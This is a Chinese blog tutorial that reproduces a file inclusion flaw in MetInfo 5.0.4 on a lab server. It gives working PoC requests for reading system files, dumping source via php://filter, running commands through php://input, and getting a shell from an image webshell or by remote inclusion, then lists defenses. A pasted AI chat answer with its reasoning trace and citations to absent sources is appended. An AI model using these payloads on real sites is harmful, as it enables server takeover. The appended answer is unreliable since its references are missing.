文件包含漏洞实战

加粗样式

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

漏洞原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

无条件解析PHP 代码,为图片木马提供了出路。

利用方法

包含图片木马

中国蚁剑直接链接。

读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

目标文件存在(已知目标文件路径);

具有文件可读权限。

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

封装协议

image-20230831205736947

复现环境准备

可以到http://v.metinfo.cn/下载各个版本的metinfo,

也可以到我的网盘下载5.0.4版本的:https://pan.baidu.com/s/1PZjQNDgLL10E05ryKNchKw?pwd=yuan

漏洞点

经过对这个版本的metinfo进行代码审计,我们可以发现在about目录中的index.php中存在文件包含漏洞

/about/index.php

代码审计验证漏洞点

我们来看到这个index.php,如下图所示,其中定义了fmodule变量与module变量,其中require_once语句表示将某个文件引入当前文件,在这个代码中,通过require_once引入了module.php,并且最后引入了module变量,这就是文件包含的入口,如果我们能控制module的值,就很可能存在文件包含漏洞

about/index.php

image-20230831173311983

经过对index.php的分析,我们就要确认module值如何能被控制,于是我们就要进入module.php分析源码:

include/module.php

image-20230831173141002

如图所示代码,如果我们传的$fmodule不为7的,就会进入这个if的条件语句,然后对我们的$module进行初始化赋值,这是我们没办法控制的,因为里面的赋值语句都写好了,一个是存在数组里,一个就是直接返回404.html。所以我们不能让这个程序进入这个条件,因此我们需要控制变量$fmodule为7,这样程序就不会对$module进行赋值了。所以我们可以自己手动赋值,从而达到控制$module变量的值的目的。

读取敏感文件

读取文件的前提条件:

目标文件存在(已知目标文件路径);

具有文件可读权限。

经过以上的代码审计,我们可以写出如下poc进行测试:

/about/index.php?fmodule=7&module=c:/windows/system32/drivers/etc/hosts

image-20230831174442431

可以看到,我们成功获取到了hosts文件,但是这并不能证明是文件包含漏洞,因为这仅仅是把hosts文件读取出来了,最多能确定的是文件读取漏洞,所以我们可以写一个把phpinfo.php放到www的一个目录中,我们尝试访问phpinfo.php,看看能否解析成功,解析成功了就说明是文件包含漏洞。如图,我把phpinfo.php放到了这个目录:

image-20230831174714678

/about/index.php?fmodule=7&module=../../phpinfo.php

然后执行poc,如图所示

image-20230831174800167

成功输出php的信息,所以到此可以确认这里确实是具有文件包含漏洞。

最终,我们还能得出一个结论,具有文件包含漏洞其实代表有文件读取漏洞,但是有文件读取漏洞不能证明有文件包含漏洞。

文件包含漏洞+文件上传漏洞深度利用

经过上面的代码审计,我们可以确定有文件包含漏洞,又因为文件包含的特点:

  1. 无视文件扩展名读取文件内容
  2. 无条件解析PHP 代码

于是我们可以结合文件上传漏洞,上传一个图片马,让程序对我们的图片马进行读取,然后当做php解析,从而getshell。

经过我对这个版本的metinfo的功能点查找,在这个地方找到了上传功能:

image-20230831175415273

但是,我尝试多次上传,可能是因为环境的问题,显示上传成功,但是去目录查看,并没有我们上传的文件,肯定在其他地方可以成功上传文件,这里为了让大家看到效果,就直接手动将图片马放入这个metinfo的目录,不演示找文件上传的功能点了。因为我们的目的是:通过文件包含漏洞,让程序对我们的图片马进行解析,最终getshell。

这里我将图片马放到这个目录下:

image-20230831175738790

接下来通过文件包含漏洞,来包含我们的图片马

http://localhost/metinfo504/MetInfo5.0.4/about/index.php?fmodule=7&module=../shell.jpg

image-20230831175838687

从结果可以看到,我们的页面没有显示图片,说明是把图片当做php执行了,所以接下来就通过中国蚁剑尝试getshell

中国蚁剑-getshell

如图,蚁剑连接成功

image-20230831180013713

突破文件上传漏洞限制

文件包含漏洞要想实现深度利用,就需要借助文件上传漏洞,但是如果系统中没有文件上传漏洞呢?或者目标服务器没有暴露我们上传的文件路径呢?我们仅仅可以使用文件包含漏洞,这个时候就需要考虑到php的一些封装协议了,利用封装协议,可以读取PHP文件源码,可以执行PHP命令

读取文件源码

利用php://fileter 读取文件源码

条件

  1. 与php.ini的allow_url_fopen的开启与否无关
  2. 与php.ini的allow_url_include的开启与否无关
  3. 知道文件的路径
  4. 具有文件包含漏洞

poc

/about/index.php?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

image-20230831194727536

读取文件源码之后结果的Base64编码,需要进行解码,解码结果如下:

image-20230831194912151

如图可知,我们成功读取到了show.php的源码

执行PHP命令

条件

  1. 必须开启php.ini的allow_url_fopen
  2. 必须开启php.ini的allow_url_include
  3. 具有文件包含漏洞

poc

POST /metinfo504/MetInfo5.0.4/about/index.php?fmodule=7&module=php://input HTTP/1.1
Host: 10.9.75.168
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: HFS_SID_=0.912836692063138; PHPSESSID=a71e5r7upv1jm86jc01kvaius2; recordurl=%2Chttp%253A%252F%252F10.9.75.168%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253D..%252Fshell.jpg%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253D..%252F..%252Fphpinfo.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

<?php
system("whoami");
?>

验证结果如下图:

image-20230831193904889

由上面的结果可知,我们利用php://input成功执行了php的命令。

但是前提是php的配置文件中开启了allow_url_fopen和allow_url_include

远程文件包含

由于前面的执行PHP命令的前提是php的配置文件中开启了allow_url_fopen和allow_url_include,既然开启了这两个配置,我们不如直接利用远程文件包含,直接包含我们的一句话木马,然后借助蚁剑getshell。

条件

  1. 必须开启php.ini的allow_url_fopen
  2. 必须开启php.ini的allow_url_include
  3. 具有文件包含漏洞

远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On # 通过远程方式打开文件
allow_url_include = On# 通过远程方式包含文件

远程文件是php文件:

image-20230831200602294

远程文件是图片马也行

image-20230831200339043

从上面的实战操作可知,我们成功通过文件包含漏洞的远程文件包含getshell,我们现在来分析一下远程文件包含的优势与缺点:

优势:不需要知道文件的路径,我们只需要包含我们远程服务器的木马文件即可

缺点:需要开启php.ini的allow_url_fopen,allow_url_include配置

文件包含漏洞防御

尽量少的使用动态包含;

严格过滤被包含文件的路径;

将参数allow_url_include 设置为Off;

使用参数open_basedir 限定文件访问范围:

open_basedir = c:\phpstudy_2016\www\
<think>好的,用户想找关于文件包含漏洞的靶场或练习环境。我需要先回忆一下相关的资料。记得用户提供的引用里提到了pikachu、DVWA和iwebsec这几个靶场,这些应该是常见的练习环境。首先,我应该整理这些信息,确认每个靶场的特点和文件包含漏洞的具体模块。 然后,用户的问题可能涉及到如何搭建这些靶场或者访问它们的链接。比如pikachu通常是在本地搭建,可能需要使用PHP环境,DVWA也是类似的,需要配置在本地服务器。iwebsec可能是一个在线的或者需要自己部署的靶场。另外,用户可能还关心其他可用的靶场,比如Upload Labs或者WebGoat,这些可能也包含相关的漏洞练习。 接下来,我需要确保提供的步骤清晰,比如如何访问每个靶场的具体路径,例如pikachu的远程文件包含漏洞的URL结构。同时,要注意引用对应的参考文献,比如引用[1]、[2]、[3]中的内容,确保信息的准确性。 用户可能还会有更深层次的需求,比如想了解如何利用这些靶场进行漏洞测试的具体方法,或者需要配置环境的指导。因此,在回答中可能需要包含一些基本的操作步骤,比如修改PHP配置、使用Docker搭建环境等,但可能用户没有明确提到这些,所以需要保持回答简洁,同时提供足够的信息让他们开始练习。 另外,生成的相关问题需要覆盖用户可能感兴趣的后续步骤,比如如何防御文件包含漏洞,或者具体的漏洞利用技巧,这样他们可以进一步学习。确保问题与主题紧密相关,并且基于提供的引用内容,避免偏离主题。 最后,检查回答是否符合格式要求:使用中文,数学公式正确(虽然这里可能不太需要),结构清晰,引用标识正确。确保没有使用Markdown,分点明确,语言自然。</think>以下是关于文件包含漏洞的靶场及练习环境推荐,结合文件包含漏洞的原理和测试方法: ### 1. 本地环境搭建类靶场 **Pikachu靶场** - 包含本地文件包含(LFI)和远程文件包含(RFI)漏洞模块,支持通过修改参数`filename`触发漏洞。例如: ```http http://localhost/pika/vul/fileinclude/fi_local.php?filename=file1.php ``` - 远程文件包含示例需配置服务器允许远程加载(如修改`allow_url_include=On`)[^1][^3]。 **DVWA靶场** - 提供文件包含漏洞的低、中、高三种难度环境。通过修改`page`参数包含恶意文件,例如: ```http http://localhost/dvwa/vulnerabilities/fi/?page=filetest.php ``` - 需结合Burp Suite等工具测试过滤规则。 ### 2. 在线/集成化靶场 **iwebsec靶场** - 支持本地文件包含漏洞测试,通过包含非PHP文件(如`.txt`)验证解析漏洞。例如: ```http http://靶场地址/fileinclude/1.php?file=../../test.txt ``` - 重点练习绕过路径限制的方法(如`../`遍历)[^2]。 **WebGoat** - 提供文件包含漏洞实战场景,需通过注入恶意代码实现目录遍历或远程文件加载。 ### 3. 漏洞利用扩展练习 - **Upload Labs靶场**:结合文件上传漏洞,上传含恶意代码的图片/文本文件,再通过文件包含执行。 - **Docker环境搭建**:使用Metasploitable或OWASP Broken Web Apps等镜像快速部署漏洞环境。 --- ### 文件包含漏洞原理补充 漏洞本质是未对包含的文件路径进行过滤,例如: ```php include($_GET['file']); ``` 攻击者可构造`file=../../etc/passwd`读取敏感文件,或`file=http://恶意服务器/shell.txt`加载远程代码[^2][^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值